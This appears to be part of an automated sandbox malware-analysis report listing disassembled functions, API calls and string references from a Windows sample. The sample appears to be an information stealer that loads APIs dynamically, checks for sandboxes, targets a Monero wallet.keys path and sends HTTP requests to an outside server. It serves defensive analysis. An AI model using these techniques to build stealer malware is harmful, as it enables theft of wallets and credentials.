GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 00099BB6

Strings

NtQueryInformationProcess, xrefs: 00099BAA

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 7baeb3013c8c4ad9874623f591cfdb7c2e4ba621dc22f3683db2fd1c92a4c573
Instruction ID: 4ae76afd93712e136087656b7b6dff623fc217f17b7484b65a9884ef56c8b408
Opcode Fuzzy Hash: 7baeb3013c8c4ad9874623f591cfdb7c2e4ba621dc22f3683db2fd1c92a4c573
Instruction Fuzzy Hash: 73A1AEB55012889FC344EFA8FD8CE6AB7F9F74C309704861AE60AC7264D7399846CB56

Function 000845C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0008460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0008479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00084638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00084683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000845C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00084734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00084657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00084622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0008477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00084662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00084770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000845F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0008474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000846C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00084643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00084765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000846D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00084729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000846B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0008473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0008462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000845DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00084713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00084617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0008466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000846AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0008471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00084678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000845D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000845E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 000846CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0008475A

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 718b049d48c94c869f044323da6e99f76fd660d4452e05cd7a8de79012f95b28
Instruction ID: 63813017ed6a2a6fd9d3b553e599e8b5a583fcfa7f731138a1df67ca7b47584c
Opcode Fuzzy Hash: 718b049d48c94c869f044323da6e99f76fd660d4452e05cd7a8de79012f95b28
Instruction Fuzzy Hash: A941F9606CB60C7EEE34BFE49C45E9F76966FC770DF5092C8EA045A290EBB065004926

Function 00084880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0009A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0009A7E6

Part of subcall function 000847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00084839
Part of subcall function 000847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00084849

Part of subcall function 0009A740: lstrcpy.KERNEL32(000A0E17,00000000), ref: 0009A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00084915
StrCmpCA.SHLWAPI(?,00D3FCE0), ref: 0008493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00084ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,000A0DDB,00000000,?,?,00000000,?,",00000000,?,00D3FC40), ref: 00084DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00084E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00084E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00084E49
InternetCloseHandle.WININET(00000000), ref: 00084EAD
InternetCloseHandle.WININET(00000000), ref: 00084EC5
HttpOpenRequestA.WININET(00000000,00D3FC80,?,00D3F488,00000000,00000000,00400100,00000000), ref: 00084B15

Part of subcall function 0009A9B0: lstrlen.KERNEL32(?,00D38988,?,\Monero\wallet.keys,000A0E17), ref: 0009A9C5
Part of subcall function 0009A9B0: lstrcpy.KERNEL32(00000000), ref: 0009AA04
Part of subcall function 0009A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0009AA12

Part of subcall function 0009A8A0: lstrcpy.KERNEL32(?,000A0E17), ref: 0009A905

Part of subcall function 0009A920: lstrcpy.KERNEL32(00000000,?), ref: 0009A972
Part of subcall function 0009A920: lstrcat.KERNEL32(00000000), ref: 0009A982

InternetCloseHandle.WININET(00000000), ref: 00084ECF

Strings

------, xrefs: 000849BD
", xrefs: 00084BF2
", xrefs: 00084D33
------, xrefs: 00084C69
------, xrefs: 00084B28

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: a624af047b8fece6097a8ed78d238438dda7284ed3aed18ebaa4a40c40d31f87
Instruction ID: 4c18cf2490dd39e7c8b13e000ce1ed5bf9e26f55d42465214fb459e36855241e
Opcode Fuzzy Hash: a624af047b8fece6097a8ed78d238438dda7284ed3aed18ebaa4a40c40d31f87
Instruction Fuzzy Hash: 5312CF71A20118AADF15EB90DC96FEEB379BF16300F504199B10676092EF702F49DFA2

Function 00097850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,000811B7), ref: 00097880
RtlAllocateHeap.NTDLL(00000000), ref: 00097887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0009789F

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 614b0fcd994c3d83917f759b487050d431e94c03b0cbe90959e3784c8547d5e9
Instruction ID: a8bae039c7c2b01d4bbbdb59434ce0e10438c5f3eea8fc606210a8fa597c2efc
Opcode Fuzzy Hash: 614b0fcd994c3d83917f759b487050d431e94c03b0cbe90959e3784c8547d5e9
Instruction Fuzzy Hash: 19F04FB1944208EBCB10DF99ED4AFAEFBB8FB04715F10025AFA05A2680C77815048BA1

Function 00081160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0008116A
ExitProcess.KERNEL32 ref: 0008117E

Memory Dump Source

Source File: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.2187334518.0000000000080000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000131000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.000000000013D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.0000000000162000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187372879.00000000002CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.00000000002DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.0000000000565000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000056B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2187552344.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191006625.000000000057B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191466889.0000000000713000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191488934.0000000000714000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 9ef3ce689785a444d22c596ed9b6314c0b79ae63f1b4e4aa65fa001f3d2e59dc
Instruction ID: 416f94bce9d38f5526209010d0599e43a6356f42bdb776f5bc85f33f1fdb1f7f
Opcode Fuzzy Hash: 9ef3ce689785a444d22c596ed9b6314c0b79ae63f1b4e4aa65fa001f3d2e59dc
Instruction Fuzzy Hash: F5D09E7490430CDBCB04EFE0ED8DADDBB78FB08715F101555D90562340EA315596CBA6

Function 00099C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,00D25268), ref: 00099C2D
GetProcAddress.KERNEL32(76210000,00D24F48), ref: 00099C45
GetProcAddress.KERNEL32(76210000,00D38E78), ref: 00099C5E
GetProcAddress.KERNEL32(76210000,00D38E18), ref: 00099C76
GetProcAddress.KERNEL32(76210000,00D38EF0), ref: 00099C8E
GetProcAddress.KERNEL32(76210000,00D3DA18), ref: 00099CA7
GetProcAddress.KERNEL32(76210000,00D2A6D0), ref: 00099CBF
GetProcAddress.KERNEL32(76210000,00D3D820), ref: 00099CD7
GetProcAddress.KERNEL32(76210000,00D3DA90), ref: 00099CF0
GetProcAddress.KERNEL32(76210000,00D3DA60), ref: 00099D08
GetProcAddress.KERNEL32(76210000,00D3D808), ref: 00099D20
GetProcAddress.KERNEL32(76210000,00D252A8), ref: 00099D39
GetProcAddress.KERNEL32(76210000,00D25008), ref: 00099D51
GetProcAddress.KERNEL32(76210000,00D252E8), ref: 00099D69
GetProcAddress.KERNEL32(76210000,00D25168), ref: 00099D82
GetProcAddress.KERNEL32(76210000,00D3D868), ref: 00099D9A
GetProcAddress.KERNEL32(76210000,00D3D9D0), ref: 00099DB2
GetProcAddress.KERNEL32(76210000,00D2A658), ref: 00099DCB
GetProcAddress.KERNEL32(76210000,00D25108), ref: 00099DE3
GetProcAddress.KERNEL32(76210000,00D3DA30), ref: 00099DFB
GetProcAddress.KERNEL32(76210000,00D3D940), ref: 00099E14
GetProcAddress.KERNEL32(76210000,00D3D838), ref: 00099E2C
GetProcAddress.KERNEL32(76210000,00D3D8C8), ref: 00099E44
GetProcAddress.KERNEL32(76210000,00D251E8), ref: 00099E5D
GetProcAddress.KERNEL32(76210000,00D3D850), ref: 00099E75
GetProcAddress.KERNEL32(76210000,00D3D970), ref: 00099E8D
GetProcAddress.KERNEL32(76210000,00D3D898), ref: 00099EA6
GetProcAddress.KERNEL32(76210000,00D3D7F0), ref: 00099EBE
GetProcAddress.KERNEL32(76210000,00D3D880), ref: 00099ED6
GetProcAddress.KERNEL32(76210000,00D3D7C0), ref: 00099EEF
GetProcAddress.KERNEL32(76210000,00D3D7D8), ref: 00099F07
GetProcAddress.KERNEL32(76210000,00D3D8B0), ref: 00099F1F
GetProcAddress.KERNEL32(76210000,00D3D9E8), ref: 00099F38
GetProcAddress.KERNEL32(76210000,00D2FB98), ref: 00099F50
GetProcAddress.KERNEL32(76210000,00D3DAA8), ref: 00099F68
GetProcAddress.KERNEL32(76210000,00D3D928), ref: 00099F81
GetProcAddress.KERNEL32(76210000,00D25188), ref: 00099F99
GetProcAddress.KERNEL32(76210000,00D3D8E0), ref: 00099FB1
GetProcAddress.KERNEL32(76210000,00D251A8), ref: 00099FCA
GetProcAddress.KERNEL32(76210000,00D3DA00), ref: 00099FE2
GetProcAddress.KERNEL32(76210000,00D3D958), ref: 00099FFA
GetProcAddress.KERNEL32(76210000,00D24F68), ref: 0009A013
GetProcAddress.KERNEL32(76210000,00D251C8), ref: 0009A02B
LoadLibraryA.KERNEL32(00D3DA78,?,00095CA3,000A0AEB,?,?,?,?,?,?,?,?,?,?,000A0AEA,000A0AE3), ref: 0009A03D
LoadLibraryA.KERNEL32(00D3D8F8,?,00095CA3,000A0AEB,?,?,?,?,?,?,?,?,?,?,000A0AEA,000A0AE3), ref: 0009A04E
LoadLibraryA.KERNEL32(00D3D910,?,00095CA3,000A0AEB,?,?,?,?,?,?,?,?,?,?,000A0AEA,000A0AE3), ref: 0009A060
LoadLibraryA.KERNEL32(00D3DA48,?,00095CA3,000A0AEB,?,?,?,?,?,?,?,?,?,?,000A0AEA,000A0AE3), ref: 0009A072
LoadLibraryA.KERNEL32(00D3D988,?,00095CA3,000A0AEB,?,?,?,?,?,?,?,?,?,?,000A0AEA,000A0AE3), ref: 0009A083
LoadLibraryA.KERNEL32(00D3D9A0,?,00095CA3,000A0AEB,?,?,?,?,?,?,?,?,?,?,000A0AEA,000A0AE3), ref: 0009A095
LoadLibraryA.KERNEL32(00D3D9B8,?,00095CA3,000A0AEB,?,?,?,?,?,?,?,?,?,?,000A0AEA,000A0AE3), ref: 0009A0A7
LoadLibraryA.KERNEL32(00D3DC10,?,00095CA3,000A0AEB,?,?,?,?,?,?,?,?,?,?,000A0AEA,000A0AE3), ref: 0009A0B8
GetProcAddress.KERNEL32(751E0000,00D25308), ref: 0009A0DA
GetProcAddress.KERNEL32(751E0000,00D3DB38), ref: 0009A0F2
GetProcAddress.KERNEL32(751E0000,00D38B68), ref: 0009A10A
GetProcAddress.KERNEL32(751E0000,00D3DD90), ref: 0009A123
GetProcAddress.KERNEL32(751E0000,00D25208), ref: 0009A13B
GetProcAddress.KERNEL32(700F0000,00D2A6F8), ref: 0009A160
GetProcAddress.KERNEL32(700F0000,00D253A8), ref: 0009A179
GetProcAddress.KERNEL32(700F0000,00D2A4F0), ref: 0009A191
GetProcAddress.KERNEL32(700F0000,00D3DAD8), ref: 0009A1A9
GetProcAddress.KERNEL32(700F0000,00D3DD00), ref: 0009A1C2
GetProcAddress.KERNEL32(700F0000,00D25688), ref: 0009A1DA
GetProcAddress.KERNEL32(700F0000,00D256A8), ref: 0009A1F2
GetProcAddress.KERNEL32(700F0000,00D3DBB0), ref: 0009A20B
GetProcAddress.KERNEL32(753A0000,00D254C8), ref: 0009A22C
GetProcAddress.KERNEL32(753A0000,00D25668), ref: 0009A244
GetProcAddress.KERNEL32(753A0000,00D3DB08), ref: 0009A25D
GetProcAddress.KERNEL32(753A0000,00D3DB50), ref: 0009A275
GetProcAddress.KERNEL32(753A0000,00D253E8), ref: 0009A28D
GetProcAddress.KERNEL32(76310000,00D2A7E8), ref: 0009A2B3
GetProcAddress.KERNEL32(76310000,00D2A8B0), ref: 0009A2CB
GetProcAddress.KERNEL32(76310000,00D3DB68), ref: 0009A2E3
GetProcAddress.KERNEL32(76310000,00D25448), ref: 0009A2FC
GetProcAddress.KERNEL32(76310000,00D25508), ref: 0009A314
GetProcAddress.KERNEL32(76310000,00D2A900), ref: 0009A32C
GetProcAddress.KERNEL32(76910000,00D3DB20), ref: 0009A352
GetProcAddress.KERNEL32(76910000,00D25388), ref: 0009A36A
GetProcAddress.KERNEL32(76910000,00D38BC8), ref: 0009A382
GetProcAddress.KERNEL32(76910000,00D3DC88), ref: 0009A39B
GetProcAddress.KERNEL32(76910000,00D3DD78), ref: 0009A3B3
GetProcAddress.KERNEL32(76910000,00D25528), ref: 0009A3CB
GetProcAddress.KERNEL32(76910000,00D25468), ref: 0009A3E4
GetProcAddress.KERNEL32(76910000,00D3DCE8), ref: 0009A3FC
GetProcAddress.KERNEL32(76910000,00D3DAF0), ref: 0009A414
GetProcAddress.KERNEL32(75B30000,00D25608), ref: 0009A436
GetProcAddress.KERNEL32(75B30000,00D3DD30), ref: 0009A44E
GetProcAddress.KERNEL32(75B30000,00D3DC28), ref: 0009A466
GetProcAddress.KERNEL32(75B30000,00D3DB80), ref: 0009A47F
GetProcAddress.KERNEL32(75B30000,00D3DC70), ref: 0009A497
GetProcAddress.KERNEL32(75670000,00D255C8), ref: 0009A4B8
GetProcAddress.KERNEL32(75670000,00D25348), ref: 0009A4D1
GetProcAddress.KERNEL32(76AC0000,00D25408), ref: 0009A4F2
GetProcAddress.KERNEL32(76AC0000,00D3DB98), ref: 0009A50A
GetProcAddress.KERNEL32(6F4E0000,00D25488), ref: 0009A530
GetProcAddress.KERNEL32(6F4E0000,00D256C8), ref: 0009A548
GetProcAddress.KERNEL32(6F4E0000,00D256E8), ref: 0009A560
